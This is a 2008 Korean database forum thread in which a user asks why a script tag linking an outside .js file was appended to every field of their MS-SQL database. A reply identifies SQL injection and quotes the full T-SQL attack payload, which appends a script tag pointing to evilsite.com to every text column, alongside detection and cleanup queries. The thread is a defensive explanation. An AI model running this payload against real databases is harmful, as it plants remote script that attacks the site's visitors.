database.sarang.net
UserID
Passwd
Database
DBMS
MySQL
PostgreSQL
Firebird
Oracle
Informix
Sybase
ㆍMS-SQL
DB2
Cache
CUBRID
LDAP
ALTIBASE
Tibero
DB 문서들
스터디
Community
공지사항
자유게시판
구인|구직
DSN 갤러리
도움주신분들
Admin
운영게시판
최근게시물
MS-SQL Q&A 4359 게시물 읽기
No. 4359
이거 바이러스에 감염된건가요?
작성자
미인아기
작성일
2008-07-28 16:28ⓒ
2008-07-28 17:00ⓜ
조회수
5,092

데이터 내용중에 script src=http://www.usaadw.com.js 라는 스크립트가 DB안의 모든 테이블 필드 내용 끝에 빈 자리 수 만큼 반복되어서 전부 생성이 되었습니다.

그런데 같은 서버에 mssql과 mysql을 동시에 사용하는데 mssql DB만 저런 스크립트가 생성되었습니다.

지금 수작업으로 삭제를 하고 있는데... 에구구.. ㅠㅠ 철야를 해야할런지.. ㅠㅠ

이거 바이러스인가요? 혹 바이러스라면 어떻게 처리를 해야 하는지요?


답변좀 부탁드립니다.

이 글에 대한 댓글이 총 2건 있습니다.

음 공격당한게 아니신지여...
(보통 웹에서 URL에 강제적으로 값을 넣어서 공격합니다) 
인젝션 공격에대해 내부적으로 막아야겟지여

/*
* 제목 : injection 공격 쿼리
* 증상 : 사용자 테이블의 필드에 <noscript src=http://evilsite.com/1.js>삽입

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update [' + @T + '] set [' + @C + '] =
        rtrim(convert(varchar,[' + @C + ']))+
        ''<noscript src=http://evilsite.com/1.js>'''
  );
  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

 

* Script 삽입 공격을 당했는지 확인하는 쿼리

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN

exec ('select ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<noscript%''');
-- print 'select ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<noscript%'''

  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

* 위의 공격을 당했을 때 복원하는 쿼리 (100% 다 되는 것은 아님 - 별도 확인 필요)

* 해킹 시 길이가 긴 경우에는 짤리고 들어가는 현상이 발생함 - 이 경우에는 복원을 해도 원상복구가 안됨

* 백업 받은 것을 복원하는 수 밖에는 없음

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
  EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
            convert(varchar(8000), ['+@C+']),
            len(convert(varchar(8000), ['+@C+'])) - 6 -
            patindex(''%tpircs<%'',
                      reverse(convert(varchar(8000), ['+@C+'])))
            )
      where ['+@C+'] like ''%<noscript%'''
      );
  FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
*/

임진표(운가라)님이 2008-07-29 08:51에 작성한 댓글입니다.
이 댓글은 2008-07-29 08:55에 마지막으로 수정되었습니다.

답변 감사합니다.


미인아기님이 2008-08-04 12:42에 작성한 댓글입니다. Edit
[Top]
No.
제목
작성자
작성일
조회
4363vista에서.. Mssql2000 연결시.. [2]
송경훈
2008-07-29
4800
4361SQL SERVER 2005를 구했는데...
김형우
2008-07-29
5430
4360SQLFetch가 declare두번 선언한 저장프로시저의 Select결과를 받아오지 못합니다 [6]
사슴
2008-07-29
5644
4359이거 바이러스에 감염된건가요? [2]
미인아기
2008-07-28
5092
4357MS-SQL2005 사용하는 두대의 DB서버을 연동 할수있는방법 [1]
변송학
2008-07-28
5015
4356mssql ==> oracle 10g Linkedserver 구성 오류
창현아빠
2008-07-28
4827
4355테이블설계, C#에서 연동 [2]
조용필
2008-07-27
5762
Valid XHTML 1.0!
All about the DATABASE... Copyleft 1999-2024 DSN, All rights reserved.
작업시간: 0.017초, 이곳 서비스는
	PostgreSQL v16.2로 자료를 관리합니다